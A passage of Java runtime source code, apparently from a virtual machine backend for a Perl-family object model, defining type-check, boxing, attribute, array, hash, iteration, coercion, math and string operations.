(~STable.TYPE_CHECK_CACHE_FLAG_MASK)); if (obj.st.sc != null) scwbSTable(tc, obj.st); return obj; } public static long objprimspec(SixModelObject obj, ThreadContext tc) { return obj.st.REPR.get_storage_spec(tc, obj.st).boxed_primitive; } public static SixModelObject setinvokespec(SixModelObject obj, SixModelObject ch, String name, SixModelObject invocationHandler, ThreadContext tc) { InvocationSpec is = new InvocationSpec(); is.ClassHandle = ch; is.AttrName = name; is.Hint = STable.NO_HINT; is.InvocationHandler = invocationHandler; obj.st.InvocationSpec = is; return obj; } public static long isinvokable(SixModelObject obj, ThreadContext tc) { return obj instanceof CodeRef || obj.st.InvocationSpec != null ? 1 : 0; } public static long istype(SixModelObject obj, SixModelObject type, ThreadContext tc) { return istype_nodecont(decont(obj, tc), decont(type, tc), tc); } public static long istype_nodecont(SixModelObject obj, SixModelObject type, ThreadContext tc) { /* Null always type checks false. */ if (obj == null) return 0; /* Start by considering cache. */ int typeCheckMode = type.st.ModeFlags & STable.TYPE_CHECK_CACHE_FLAG_MASK; SixModelObject[] cache = obj.st.TypeCheckCache; if (cache != null) { /* We have the cache, so just look for the type object we * want to be in there. */ for (int i = 0; i < cache.length; i++) if (cache[i] == type) return 1; /* If the type check cache is definitive, we're done. */ if ((typeCheckMode & STable.TYPE_CHECK_CACHE_THEN_METHOD) == 0 && (typeCheckMode & STable.TYPE_CHECK_NEEDS_ACCEPTS) == 0) return 0; } /* If we get here, need to call .^type_check on the value we're * checking. */ if (cache == null || (typeCheckMode & STable.TYPE_CHECK_CACHE_THEN_METHOD) != 0) { SixModelObject tcMeth = findmethod(obj.st.HOW, "type_check", tc); if (tcMeth == null) return 0; /* TODO: Review why the following busts stuff. */ /*throw ExceptionHandling.dieInternal(tc, "No type check cache and no type_check method in meta-object");*/ invokeDirect(tc, tcMeth, typeCheckCallSite, new Object[] { obj.st.HOW, obj, type }); if (tc.curFrame.retType == CallFrame.RET_INT) { if (result_i(tc.curFrame) != 0) return 1; } else { if (istrue(result_o(tc.curFrame), tc) != 0) return 1; } } /* If the flag to call .accepts_type on the target value is set, do so. */ if ((typeCheckMode & STable.TYPE_CHECK_NEEDS_ACCEPTS) != 0) { SixModelObject atMeth = findmethod(type.st.HOW, "accepts_type", tc); if (atMeth == null) throw ExceptionHandling.dieInternal(tc, "Expected accepts_type method, but none found in meta-object"); invokeDirect(tc, atMeth, typeCheckCallSite, new Object[] { type.st.HOW, type, obj }); return istrue(result_o(tc.curFrame), tc); } /* If we get here, type check failed. */ return 0; } /* Box/unbox operations. */ public static SixModelObject box_i(long value, SixModelObject type, ThreadContext tc) { SixModelObject res = type.st.REPR.allocate(tc, type.st); res.set_int(tc, value); return res; } public static SixModelObject box_n(double value, SixModelObject type, ThreadContext tc) { SixModelObject res = type.st.REPR.allocate(tc, type.st); res.set_num(tc, value); return res; } public static SixModelObject box_s(String value, SixModelObject type, ThreadContext tc) { SixModelObject res = type.st.REPR.allocate(tc, type.st); res.set_str(tc, value); return res; } public static long unbox_i(SixModelObject obj, ThreadContext tc) { return decont(obj, tc).get_int(tc); } public static double unbox_n(SixModelObject obj, ThreadContext tc) { return decont(obj, tc).get_num(tc); } public static String unbox_s(SixModelObject obj, ThreadContext tc) { return decont(obj, tc).get_str(tc); } public static long isint(SixModelObject obj, ThreadContext tc) { StorageSpec ss = decont(obj, tc).st.REPR.get_storage_spec(tc, obj.st); return (ss.can_box & StorageSpec.CAN_BOX_INT) == 0 ? 0 : 1; } public static long isnum(SixModelObject obj, ThreadContext tc) { StorageSpec ss = decont(obj, tc).st.REPR.get_storage_spec(tc, obj.st); return (ss.can_box & StorageSpec.CAN_BOX_NUM) == 0 ? 0 : 1; } public static long isstr(SixModelObject obj, ThreadContext tc) { StorageSpec ss = decont(obj, tc).st.REPR.get_storage_spec(tc, obj.st); return (ss.can_box & StorageSpec.CAN_BOX_STR) == 0 ? 0 : 1; } /* Attribute operations. */ public static SixModelObject getattr(SixModelObject obj, SixModelObject ch, String name, ThreadContext tc) { return obj.get_attribute_boxed(tc, decont(ch, tc), name, STable.NO_HINT); } public static long getattr_i(SixModelObject obj, SixModelObject ch, String name, ThreadContext tc) { obj.get_attribute_native(tc, decont(ch, tc), name, STable.NO_HINT); if (tc.native_type == ThreadContext.NATIVE_INT) return tc.native_i; else throw ExceptionHandling.dieInternal(tc, "Attribute '" + name + "' is not a native int"); } public static double getattr_n(SixModelObject obj, SixModelObject ch, String name, ThreadContext tc) { obj.get_attribute_native(tc, decont(ch, tc), name, STable.NO_HINT); if (tc.native_type == ThreadContext.NATIVE_NUM) return tc.native_n; else throw ExceptionHandling.dieInternal(tc, "Attribute '" + name + "' is not a native num"); } public static String getattr_s(SixModelObject obj, SixModelObject ch, String name, ThreadContext tc) { obj.get_attribute_native(tc, decont(ch, tc), name, STable.NO_HINT); if (tc.native_type == ThreadContext.NATIVE_STR) return tc.native_s; else throw ExceptionHandling.dieInternal(tc, "Attribute '" + name + "' is not a native str"); } public static SixModelObject getattr(SixModelObject obj, SixModelObject ch, String name, long hint, ThreadContext tc) { return obj.get_attribute_boxed(tc, decont(ch, tc), name, hint); } public static long getattr_i(SixModelObject obj, SixModelObject ch, String name, long hint, ThreadContext tc) { obj.get_attribute_native(tc, decont(ch, tc), name, hint); if (tc.native_type == ThreadContext.NATIVE_INT) return tc.native_i; else throw ExceptionHandling.dieInternal(tc, "Attribute '" + name + "' is not a native int"); } public static double getattr_n(SixModelObject obj, SixModelObject ch, String name, long hint, ThreadContext tc) { obj.get_attribute_native(tc, decont(ch, tc), name, hint); if (tc.native_type == ThreadContext.NATIVE_NUM) return tc.native_n; else throw ExceptionHandling.dieInternal(tc, "Attribute '" + name + "' is not a native num"); } public static String getattr_s(SixModelObject obj, SixModelObject ch, String name, long hint, ThreadContext tc) { obj.get_attribute_native(tc, decont(ch, tc), name, hint); if (tc.native_type == ThreadContext.NATIVE_STR) return tc.native_s; else throw ExceptionHandling.dieInternal(tc, "Attribute '" + name + "' is not a native str"); } public static SixModelObject bindattr(SixModelObject obj, SixModelObject ch, String name, SixModelObject value, ThreadContext tc) { obj.bind_attribute_boxed(tc, decont(ch, tc), name, STable.NO_HINT, value); if (obj.sc != null) scwbObject(tc, obj); return value; } public static long bindattr_i(SixModelObject obj, SixModelObject ch, String name, long value, ThreadContext tc) { tc.native_i = value; obj.bind_attribute_native(tc, decont(ch, tc), name, STable.NO_HINT); if (tc.native_type != ThreadContext.NATIVE_INT) throw ExceptionHandling.dieInternal(tc, "Attribute '" + name + "' is not a native int"); if (obj.sc != null) scwbObject(tc, obj); return value; } public static double bindattr_n(SixModelObject obj, SixModelObject ch, String name, double value, ThreadContext tc) { tc.native_n = value; obj.bind_attribute_native(tc, decont(ch, tc), name, STable.NO_HINT); if (tc.native_type != ThreadContext.NATIVE_NUM) throw ExceptionHandling.dieInternal(tc, "Attribute '" + name + "' is not a native num"); if (obj.sc != null) scwbObject(tc, obj); return value; } public static String bindattr_s(SixModelObject obj, SixModelObject ch, String name, String value, ThreadContext tc) { tc.native_s = value; obj.bind_attribute_native(tc, decont(ch, tc), name, STable.NO_HINT); if (tc.native_type != ThreadContext.NATIVE_STR) throw ExceptionHandling.dieInternal(tc, "Attribute '" + name + "' is not a native str"); if (obj.sc != null) scwbObject(tc, obj); return value; } public static SixModelObject bindattr(SixModelObject obj, SixModelObject ch, String name, SixModelObject value, long hint, ThreadContext tc) { obj.bind_attribute_boxed(tc, decont(ch, tc), name, hint, value); if (obj.sc != null) scwbObject(tc, obj); return value; } public static long bindattr_i(SixModelObject obj, SixModelObject ch, String name, long value, long hint, ThreadContext tc) { tc.native_i = value; obj.bind_attribute_native(tc, decont(ch, tc), name, hint); if (tc.native_type != ThreadContext.NATIVE_INT) throw ExceptionHandling.dieInternal(tc, "Attribute '" + name + "' is not a native int"); if (obj.sc != null) scwbObject(tc, obj); return value; } public static double bindattr_n(SixModelObject obj, SixModelObject ch, String name, double value, long hint, ThreadContext tc) { tc.native_n = value; obj.bind_attribute_native(tc, decont(ch, tc), name, hint); if (tc.native_type != ThreadContext.NATIVE_NUM) throw ExceptionHandling.dieInternal(tc, "Attribute '" + name + "' is not a native num"); if (obj.sc != null) scwbObject(tc, obj); return value; } public static String bindattr_s(SixModelObject obj, SixModelObject ch, String name, String value, long hint, ThreadContext tc) { tc.native_s = value; obj.bind_attribute_native(tc, decont(ch, tc), name, hint); if (tc.native_type != ThreadContext.NATIVE_STR) throw ExceptionHandling.dieInternal(tc, "Attribute '" + name + "' is not a native str"); if (obj.sc != null) scwbObject(tc, obj); return value; } public static long attrinited(SixModelObject obj, SixModelObject ch, String name, ThreadContext tc) { return obj.is_attribute_initialized(tc, decont(ch, tc), name, STable.NO_HINT); } public static long attrhintfor(SixModelObject ch, String name, ThreadContext tc) { ch = decont(ch, tc); return ch.st.REPR.hint_for(tc, ch.st, ch, name); } /* Positional operations. */ public static SixModelObject atpos(SixModelObject arr, long idx, ThreadContext tc) { return arr.at_pos_boxed(tc, idx); } public static long atpos_i(SixModelObject arr, long idx, ThreadContext tc) { arr.at_pos_native(tc, idx); if (tc.native_type != ThreadContext.NATIVE_INT) throw ExceptionHandling.dieInternal(tc, "This is not a native int array"); return tc.native_i; } public static double atpos_n(SixModelObject arr, long idx, ThreadContext tc) { arr.at_pos_native(tc, idx); if (tc.native_type != ThreadContext.NATIVE_NUM) throw ExceptionHandling.dieInternal(tc, "This is not a native num array"); return tc.native_n; } public static String atpos_s(SixModelObject arr, long idx, ThreadContext tc) { arr.at_pos_native(tc, idx); if (tc.native_type != ThreadContext.NATIVE_STR) throw ExceptionHandling.dieInternal(tc, "This is not a native str array"); return tc.native_s; } public static SixModelObject bindpos(SixModelObject arr, long idx, SixModelObject value, ThreadContext tc) { arr.bind_pos_boxed(tc, idx, value); if (arr.sc != null) { /*new Exception("bindpos").printStackTrace(); */ scwbObject(tc, arr); } return value; } public static long bindpos_i(SixModelObject arr, long idx, long value, ThreadContext tc) { tc.native_i = value; arr.bind_pos_native(tc, idx); if (tc.native_type != ThreadContext.NATIVE_INT) throw ExceptionHandling.dieInternal(tc, "This is not a native int array"); if (arr.sc != null) { /*new Exception("bindpos_i").printStackTrace(); */ scwbObject(tc, arr); } return value; } public static double bindpos_n(SixModelObject arr, long idx, double value, ThreadContext tc) { tc.native_n = value; arr.bind_pos_native(tc, idx); if (tc.native_type != ThreadContext.NATIVE_NUM) throw ExceptionHandling.dieInternal(tc, "This is not a native num array"); if (arr.sc != null) { /*new Exception("bindpos_n").printStackTrace(); */ scwbObject(tc, arr); } return value; } public static String bindpos_s(SixModelObject arr, long idx, String value, ThreadContext tc) { tc.native_s = value; arr.bind_pos_native(tc, idx); if (tc.native_type != ThreadContext.NATIVE_STR) throw ExceptionHandling.dieInternal(tc, "This is not a native str array"); if (arr.sc != null) { /*new Exception("bindpos_s").printStackTrace(); */ scwbObject(tc, arr); } return value; } public static SixModelObject push(SixModelObject arr, SixModelObject value, ThreadContext tc) { arr.push_boxed(tc, value); return value; } public static long push_i(SixModelObject arr, long value, ThreadContext tc) { tc.native_i = value; arr.push_native(tc); if (tc.native_type != ThreadContext.NATIVE_INT) throw ExceptionHandling.dieInternal(tc, "This is not a native int array"); return value; } public static double push_n(SixModelObject arr, double value, ThreadContext tc) { tc.native_n = value; arr.push_native(tc); if (tc.native_type != ThreadContext.NATIVE_NUM) throw ExceptionHandling.dieInternal(tc, "This is not a native num array"); return value; } public static String push_s(SixModelObject arr, String value, ThreadContext tc) { tc.native_s = value; arr.push_native(tc); if (tc.native_type != ThreadContext.NATIVE_STR) throw ExceptionHandling.dieInternal(tc, "This is not a native str array"); return value; } public static SixModelObject pop(SixModelObject arr, ThreadContext tc) { return arr.pop_boxed(tc); } public static long pop_i(SixModelObject arr, ThreadContext tc) { arr.pop_native(tc); if (tc.native_type != ThreadContext.NATIVE_INT) throw ExceptionHandling.dieInternal(tc, "This is not a native int array"); return tc.native_i; } public static double pop_n(SixModelObject arr, ThreadContext tc) { arr.pop_native(tc); if (tc.native_type != ThreadContext.NATIVE_NUM) throw ExceptionHandling.dieInternal(tc, "This is not a native num array"); return tc.native_n; } public static String pop_s(SixModelObject arr, ThreadContext tc) { arr.pop_native(tc); if (tc.native_type != ThreadContext.NATIVE_STR) throw ExceptionHandling.dieInternal(tc, "This is not a native str array"); return tc.native_s; } public static SixModelObject unshift(SixModelObject arr, SixModelObject value, ThreadContext tc) { arr.unshift_boxed(tc, value); return value; } public static long unshift_i(SixModelObject arr, long value, ThreadContext tc) { tc.native_i = value; arr.unshift_native(tc); if (tc.native_type != ThreadContext.NATIVE_INT) throw ExceptionHandling.dieInternal(tc, "This is not a native int array"); return value; } public static double unshift_n(SixModelObject arr, double value, ThreadContext tc) { tc.native_n = value; arr.unshift_native(tc); if (tc.native_type != ThreadContext.NATIVE_NUM) throw ExceptionHandling.dieInternal(tc, "This is not a native num array"); return value; } public static String unshift_s(SixModelObject arr, String value, ThreadContext tc) { tc.native_s = value; arr.unshift_native(tc); if (tc.native_type != ThreadContext.NATIVE_STR) throw ExceptionHandling.dieInternal(tc, "This is not a native str array"); return value; } public static SixModelObject shift(SixModelObject arr, ThreadContext tc) { return arr.shift_boxed(tc); } public static long shift_i(SixModelObject arr, ThreadContext tc) { arr.shift_native(tc); if (tc.native_type != ThreadContext.NATIVE_INT) throw ExceptionHandling.dieInternal(tc, "This is not a native int array"); return tc.native_i; } public static double shift_n(SixModelObject arr, ThreadContext tc) { arr.shift_native(tc); if (tc.native_type != ThreadContext.NATIVE_NUM) throw ExceptionHandling.dieInternal(tc, "This is not a native num array"); return tc.native_n; } public static String shift_s(SixModelObject arr, ThreadContext tc) { arr.shift_native(tc); if (tc.native_type != ThreadContext.NATIVE_STR) throw ExceptionHandling.dieInternal(tc, "This is not a native str array"); return tc.native_s; } public static SixModelObject splice(SixModelObject arr, SixModelObject from, long offset, long count, ThreadContext tc) { arr.splice(tc, from, offset, count); return arr; } /* Associative operations. */ public static SixModelObject atkey(SixModelObject hash, String key, ThreadContext tc) { return hash.at_key_boxed(tc, key); } public static long atkey_i(SixModelObject hash, String key, ThreadContext tc) { hash.at_key_native(tc, key); if (tc.native_type != ThreadContext.NATIVE_INT) throw ExceptionHandling.dieInternal(tc, "This is not a native int hash"); return tc.native_i; } public static double atkey_n(SixModelObject hash, String key, ThreadContext tc) { hash.at_key_native(tc, key); if (tc.native_type != ThreadContext.NATIVE_NUM) throw ExceptionHandling.dieInternal(tc, "This is not a native num hash"); return tc.native_n; } public static String atkey_s(SixModelObject hash, String key, ThreadContext tc) { hash.at_key_native(tc, key); if (tc.native_type != ThreadContext.NATIVE_STR) throw ExceptionHandling.dieInternal(tc, "This is not a native str hash"); return tc.native_s; } public static SixModelObject bindkey(SixModelObject hash, String key, SixModelObject value, ThreadContext tc) { hash.bind_key_boxed(tc, key, value); if (hash.sc != null) scwbObject(tc, hash); return value; } public static long bindkey_i(SixModelObject hash, String key, long value, ThreadContext tc) { tc.native_i = value; hash.bind_key_native(tc, key); if (tc.native_type != ThreadContext.NATIVE_INT) throw ExceptionHandling.dieInternal(tc, "This is not a native int hash"); if (hash.sc != null) scwbObject(tc, hash); return value; } public static double bindkey_n(SixModelObject hash, String key, double value, ThreadContext tc) { tc.native_n = value; hash.bind_key_native(tc, key); if (tc.native_type != ThreadContext.NATIVE_NUM) throw ExceptionHandling.dieInternal(tc, "This is not a native num hash"); if (hash.sc != null) scwbObject(tc, hash); return value; } public static String bindkey_s(SixModelObject hash, String key, String value, ThreadContext tc) { tc.native_s = value; hash.bind_key_native(tc, key); if (tc.native_type != ThreadContext.NATIVE_STR) throw ExceptionHandling.dieInternal(tc, "This is not a native str hash"); if (hash.sc != null) scwbObject(tc, hash); return value; } public static long existskey(SixModelObject hash, String key, ThreadContext tc) { return hash.exists_key(tc, key); } public static SixModelObject deletekey(SixModelObject hash, String key, ThreadContext tc) { hash.delete_key(tc, key); if (hash.sc != null) scwbObject(tc, hash); return hash; } /* Terms */ public static long time_i() { return (long) (System.currentTimeMillis() / 1000); } public static double time_n() { return System.currentTimeMillis() / 1000.0; } /* Aggregate operations. */ public static long elems(SixModelObject agg, ThreadContext tc) { return agg.elems(tc); } public static SixModelObject setelems(SixModelObject agg, long elems, ThreadContext tc) { agg.set_elems(tc, elems); return agg; } public static long existspos(SixModelObject agg, long key, ThreadContext tc) { return agg.exists_pos(tc, key); } public static long islist(SixModelObject obj, ThreadContext tc) { return obj != null && obj.st.REPR instanceof VMArray ? 1 : 0; } public static long ishash(SixModelObject obj, ThreadContext tc) { return obj != null && obj.st.REPR instanceof VMHash ? 1 : 0; } /* Container operations. */ public static SixModelObject setcontspec(SixModelObject obj, String confname, SixModelObject confarg, ThreadContext tc) { if (obj.st.ContainerSpec != null) ExceptionHandling.dieInternal(tc, "Cannot change a type's container specification"); ContainerConfigurer cc = tc.gc.contConfigs.get(confname); if (cc == null) ExceptionHandling.dieInternal(tc, "No such container spec " + confname); cc.setContainerSpec(tc, obj.st); cc.configureContainerSpec(tc, obj.st, confarg); return obj; } public static long iscont(SixModelObject obj) { return obj == null || obj.st.ContainerSpec == null ? 0 : 1; } public static SixModelObject decont(SixModelObject obj, ThreadContext tc) { if (obj == null) return null; ContainerSpec cs = obj.st.ContainerSpec; return cs == null || obj instanceof TypeObject ? obj : cs.fetch(tc, obj); } public static SixModelObject assign(SixModelObject cont, SixModelObject value, ThreadContext tc) { ContainerSpec cs = cont.st.ContainerSpec; if (cs != null) cs.store(tc, cont, value); else ExceptionHandling.dieInternal(tc, "Cannot assign to an immutable value"); return cont; } public static SixModelObject assignunchecked(SixModelObject cont, SixModelObject value, ThreadContext tc) { ContainerSpec cs = cont.st.ContainerSpec; if (cs != null) cs.storeUnchecked(tc, cont, value); else ExceptionHandling.dieInternal(tc, "Cannot assign to an immutable value"); return cont; } /* Iteration. */ public static SixModelObject iter(SixModelObject agg, ThreadContext tc) { if (agg.st.REPR instanceof VMArray) { SixModelObject iterType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.arrayIteratorType; VMIterInstance iter = (VMIterInstance)iterType.st.REPR.allocate(tc, iterType.st); iter.target = agg; iter.idx = -1; iter.limit = agg.elems(tc); switch (agg.st.REPR.get_value_storage_spec(tc, agg.st).boxed_primitive) { case StorageSpec.BP_INT: iter.iterMode = VMIterInstance.MODE_ARRAY_INT; break; case StorageSpec.BP_NUM: iter.iterMode = VMIterInstance.MODE_ARRAY_NUM; break; case StorageSpec.BP_STR: iter.iterMode = VMIterInstance.MODE_ARRAY_STR; break; default: iter.iterMode = VMIterInstance.MODE_ARRAY; } return iter; } else if (agg.st.REPR instanceof VMHash) { SixModelObject iterType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.hashIteratorType; VMIterInstance iter = (VMIterInstance)iterType.st.REPR.allocate(tc, iterType.st); iter.target = agg; iter.hashKeyIter = ((VMHashInstance)agg).storage.keySet().iterator(); iter.iterMode = VMIterInstance.MODE_HASH; return iter; } else if (agg.st.REPR instanceof ContextRef) { /* Fake up a VMHash and then get its iterator. */ SixModelObject BOOTHash = tc.gc.BOOTHash; SixModelObject hash = BOOTHash.st.REPR.allocate(tc, BOOTHash.st); /* TODO: don't cheat and just shove the nulls in. It's enough for * the initial use case of this, though. */ StaticCodeInfo sci = ((ContextRefInstance)agg).context.codeRef.staticInfo; if (sci.oLexicalNames != null) { for (int i = 0; i < sci.oLexicalNames.length; i++) hash.bind_key_boxed(tc, sci.oLexicalNames[i], null); } if (sci.iLexicalNames != null) { for (int i = 0; i < sci.iLexicalNames.length; i++) hash.bind_key_boxed(tc, sci.iLexicalNames[i], null); } if (sci.nLexicalNames != null) { for (int i = 0; i < sci.nLexicalNames.length; i++) hash.bind_key_boxed(tc, sci.nLexicalNames[i], null); } if (sci.sLexicalNames != null) { for (int i = 0; i < sci.sLexicalNames.length; i++) hash.bind_key_boxed(tc, sci.sLexicalNames[i], null); } return iter(hash, tc); } else { throw ExceptionHandling.dieInternal(tc, "Can only use iter with representation VMArray and VMHash"); } } public static String iterkey_s(SixModelObject obj, ThreadContext tc) { return ((VMIterInstance)obj).key_s(tc); } public static SixModelObject iterval(SixModelObject obj, ThreadContext tc) { return ((VMIterInstance)obj).val(tc); } /* Boolification operations. */ public static SixModelObject setboolspec(SixModelObject obj, long mode, SixModelObject method, ThreadContext tc) { BoolificationSpec bs = new BoolificationSpec(); bs.Mode = (int)mode; bs.Method = method; obj.st.BoolificationSpec = bs; return obj; } public static long istrue(SixModelObject obj, ThreadContext tc) { obj = decont(obj, tc); BoolificationSpec bs = obj.st.BoolificationSpec; switch (bs == null ? BoolificationSpec.MODE_NOT_TYPE_OBJECT : bs.Mode) { case BoolificationSpec.MODE_CALL_METHOD: invokeDirect(tc, bs.Method, invocantCallSite, new Object[] { obj }); return istrue(result_o(tc.curFrame), tc); case BoolificationSpec.MODE_UNBOX_INT: return obj instanceof TypeObject || obj.get_int(tc) == 0 ? 0 : 1; case BoolificationSpec.MODE_UNBOX_NUM: return obj instanceof TypeObject || obj.get_num(tc) == 0.0 ? 0 : 1; case BoolificationSpec.MODE_UNBOX_STR_NOT_EMPTY: return obj instanceof TypeObject || obj.get_str(tc).equals("") ? 0 : 1; case BoolificationSpec.MODE_UNBOX_STR_NOT_EMPTY_OR_ZERO: if (obj instanceof TypeObject) return 0; String str = obj.get_str(tc); return str == null || str.equals("") || str.equals("0") ? 0 : 1; case BoolificationSpec.MODE_NOT_TYPE_OBJECT: return obj instanceof TypeObject ? 0 : 1; case BoolificationSpec.MODE_BIGINT: return obj instanceof TypeObject || getBI(tc, obj).compareTo(BigInteger.ZERO) == 0 ? 0 : 1; case BoolificationSpec.MODE_ITER: return ((VMIterInstance)obj).boolify() ? 1 : 0; case BoolificationSpec.MODE_HAS_ELEMS: return obj.elems(tc) == 0 ? 0 : 1; default: throw ExceptionHandling.dieInternal(tc, "Invalid boolification spec mode used"); } } public static long isfalse(SixModelObject obj, ThreadContext tc) { return istrue(obj, tc) == 0 ? 1 : 0; } public static long istrue_s(String str) { return str == null || str.equals("") || str.equals("0") ? 0 : 1; } public static long isfalse_s(String str) { return str == null || str.equals("") || str.equals("0") ? 1 : 0; } public static long not_i(long v) { return v == 0 ? 1 : 0; } /* Smart coercions. */ public static String smart_stringify(SixModelObject obj, ThreadContext tc) { obj = decont(obj, tc); // If it can unbox to a string, that wins right off. StorageSpec ss = obj.st.REPR.get_storage_spec(tc, obj.st); if ((ss.can_box & StorageSpec.CAN_BOX_STR) != 0 && !(obj instanceof TypeObject)) return obj.get_str(tc); // If it has a Str method, that wins. // We could put this in the generated code, but it's here to avoid the // bulk. SixModelObject numMeth = obj.st.MethodCache == null ? null : obj.st.MethodCache.get("Str"); if (numMeth != null) { invokeDirect(tc, numMeth, invocantCallSite, new Object[] { obj }); return result_s(tc.curFrame); } // If it's a type object, empty string. if (obj instanceof TypeObject) return ""; // See if it can unbox to another primitive we can stringify. if ((ss.can_box & StorageSpec.CAN_BOX_INT) != 0) return coerce_i2s(obj.get_int(tc)); if ((ss.can_box & StorageSpec.CAN_BOX_NUM) != 0) return coerce_n2s(obj.get_num(tc)); // If it's an exception, take the message. if (obj instanceof VMExceptionInstance) { String msg = ((VMExceptionInstance)obj).message; return msg == null ? "Died" : msg; } // If anything else, we can't do it. throw ExceptionHandling.dieInternal(tc, "Cannot stringify this"); } public static double smart_numify(SixModelObject obj, ThreadContext tc) { obj = decont(obj, tc); // If it can unbox as an int or a num, that wins right off. StorageSpec ss = obj.st.REPR.get_storage_spec(tc, obj.st); if ((ss.can_box & StorageSpec.CAN_BOX_INT) != 0) return (double)obj.get_int(tc); if ((ss.can_box & StorageSpec.CAN_BOX_NUM) != 0) return obj.get_num(tc); // Otherwise, look for a Num method. SixModelObject numMeth = obj.st.MethodCache.get("Num"); if (numMeth != null) { invokeDirect(tc, numMeth, invocantCallSite, new Object[] { obj }); return result_n(tc.curFrame); } // If it's a type object, empty string. if (obj instanceof TypeObject) return 0.0; // See if it can unbox to a primitive we can numify. if ((ss.can_box & StorageSpec.CAN_BOX_STR) != 0) return coerce_s2n(obj.get_str(tc)); if (obj instanceof VMArrayInstance || obj instanceof VMHashInstance) return obj.elems(tc); // If anything else, we can't do it. throw ExceptionHandling.dieInternal(tc, "Cannot numify this"); } /* Math operations. */ public static double sec_n(double val) { return 1 / Math.cos(val); } public static double asec_n(double val) { return Math.acos(1 / val); } public static double sech_n(double val) { return 1 / Math.cosh(val); } public static long gcd_i(long valA, long valB) { return BigInteger.valueOf(valA).gcd(BigInteger.valueOf(valB)) .longValue(); } public static SixModelObject gcd_I(SixModelObject a, SixModelObject b, SixModelObject type, ThreadContext tc) { return makeBI(tc, type, getBI(tc, a).gcd(getBI(tc, b))); } public static long lcm_i(long valA, long valB) { return valA * (valB / gcd_i(valA, valB)); } public static SixModelObject lcm_I(SixModelObject a, SixModelObject b, SixModelObject type, ThreadContext tc) { BigInteger valA = getBI(tc, a); BigInteger valB = getBI(tc, b); BigInteger gcd = valA.gcd(valB); return makeBI(tc, type, valA.multiply(valB).divide(gcd).abs()); } public static long isnanorinf(double n) { return Double.isInfinite(n) || Double.isNaN(n) ? 1 : 0; } public static double inf() { return Double.POSITIVE_INFINITY; } public static double neginf() { return Double.NEGATIVE_INFINITY ; } public static double nan() { return Double.NaN; } public static SixModelObject radix(long radix, String str, long zpos, long flags, ThreadContext tc) { double zvalue = 0.0; double zbase = 1.0; int chars = str.length(); double value = zvalue; double base = zbase; long pos = -1; char ch; boolean neg = false; if (radix > 36) { throw ExceptionHandling.dieInternal(tc, "Cannot convert radix of " + radix + " (max 36)"); } ch = (zpos < chars) ? str.charAt((int)zpos) : 0; if ((flags & 0x02) != 0 && (ch == '+' || ch == '-')) { neg = (ch == '-'); zpos++; ch = (zpos < chars) ? str.charAt((int)zpos) : 0; } while (zpos < chars) { if (ch >= '0' && ch <= '9') ch = (char)(ch - '0'); else if (ch >= 'a' && ch <= 'z') ch = (char)(ch - 'a' + 10); else if (ch >= 'A' && ch <= 'Z') ch = (char)(ch - 'A' + 10); else break; if (ch >= radix) break; zvalue = zvalue * radix + ch; zbase = zbase * radix; zpos++; pos = zpos; if (ch != 0 || (flags & 0x04) == 0) { value=zvalue; base=zbase; } if (zpos >= chars) break; ch = str.charAt((int)zpos); if (ch != '_') continue; zpos++; if (zpos >= chars) break; ch = str.charAt((int)zpos); } if (neg || (flags & 0x01) != 0) { value = -value; } HLLConfig hllConfig = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig; SixModelObject result = hllConfig.slurpyArrayType.st.REPR.allocate(tc, hllConfig.slurpyArrayType.st); result.push_boxed(tc, box_n(value, hllConfig.numBoxType, tc)); result.push_boxed(tc, box_n(base, hllConfig.numBoxType, tc)); result.push_boxed(tc, box_n(pos, hllConfig.numBoxType, tc)); return result; } public static double rand_n(double n, ThreadContext tc) { return n * tc.random.nextDouble(); } public static long srand(long n, ThreadContext tc) { tc.random.setSeed(n); return n; } /* String operations. */ public static long chars(String val) { return val.length(); } public static String lc(String val) { return val.toLowerCase(); } public static String uc(String val) { return val.toUpperCase(); } public static String x(String val, long count) { StringBuilder retval = new StringBuilder(); for (long ii = 1; ii <= count; ii++) { retval.append(val); } return retval.toString(); } public static String concat(String valA, String valB) { return valA + valB; } public static String chr(long val, ThreadContext tc) { if ((val >= 0xfdd0 && (val <= 0xfdef // non character || ((val & 0xfffe) == 0xfffe) // non character || val > 0x10ffff) // out of range ) || (val >= 0xd800 && val <= 0xdfff) // surrogate ) { throw ExceptionHandling.dieInternal(tc, "Invalid code-point U+" + String.format("%05X", val)); } return (new StringBuffer()).append(Character.toChars((int)val)).toString(); } public static String join(String delimiter, SixModelObject arr, ThreadContext tc) { final StringBuilder sb = new StringBuilder(); int prim = arr.st.REPR.get_value_storage_spec(tc, arr.st).boxed_primitive; if (prim != StorageSpec.BP_NONE && prim != StorageSpec.BP_STR) ExceptionHandling.dieInternal(tc, "Unsupported native array type in join"); final int numElems = (int) arr.elems(tc); for (int i = 0; i < numElems; i++) { if (i > 0) { sb.append(delimiter); } if (prim == StorageSpec.BP_STR) { arr.at_pos_native(tc, i); sb.append(tc.native_s); } else { sb.append(arr.at_pos_boxed(tc, i).get_str(tc)); } } return sb.toString(); } public static SixModelObject split(String delimiter, String string, ThreadContext tc) { if (string == null || delimiter == null) { return null; } HLLConfig hllConfig = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig; SixModelObject arrayType = hllConfig.slurpyArrayType; SixModelObject array = arrayType.st.REPR.allocate(tc, arrayType.st); int slen = string.length(); if (slen == 0) { return array; } int dlen = delimiter.length(); if (dlen == 0) { for (int i = 0; i < slen; i++) { String item = string.substring(i, i+1); SixModelObject value = box_s(item, hllConfig.strBoxType, tc); array.push_boxed(tc, value); } } else { int curpos = 0; int matchpos = string.indexOf(delimiter); while (matchpos > -1) { String item = string.substring(curpos, matchpos); SixModelObject value = box_s(item, hllConfig.strBoxType, tc); array.push_boxed(tc, value); curpos = matchpos + dlen; matchpos = string.indexOf(delimiter, curpos); } String tail = string.substring(curpos); SixModelObject value = box_s(tail, hllConfig.strBoxType, tc); array.push_boxed(tc, value); } return array; } public static long indexfrom(String string, String pattern, long fromIndex) { return string.indexOf(pattern, (int)fromIndex); } public static long rindexfromend(String string, String pattern) { return string.lastIndexOf(pattern); } public static long rindexfrom(String string, String pattern, long fromIndex) { return string.lastIndexOf(pattern, (int)fromIndex); } public static String substr2(String val, long offset) { if (offset >= val.length()) return ""; if (offset < 0) offset += val.length(); return val.substring((int)offset); } public static String substr3(String val, long offset, long length) { if (offset >= val.length()) return ""; int end = (int)(offset + length); if (end > val.length()) end = val.length(); return val.substring((int)offset, 